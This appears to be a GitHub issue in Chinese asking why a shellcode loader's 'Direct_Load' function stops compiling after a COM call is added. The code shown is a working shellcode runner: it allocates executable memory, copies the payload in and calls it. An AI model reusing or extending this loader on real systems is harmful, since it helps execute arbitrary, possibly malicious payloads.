扩展加载方法功能编译报错
想扩展Direct加载方法，调用COM，加一些功能，结果就编译不过了，错误如下。请问是哪方面的错误怎么修改，非常感谢！代码：

`#include "public.hpp"
#include <objbase.h>
#pragma comment(lib, "ole32")

int Direct_Load(char *shellcode,SIZE_T shellcodeSize)
{
	HRESULT hr;

	hr = CoInitialize(NULL);

    LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, shellcode, shellcodeSize);
	((void(*)())Memory)();
	return 0;
}`

![error](https://user-images.githubusercontent.com/35887910/135291868-9d670273-4146-43b8-bd89-ceef0890dc3c.jpg)

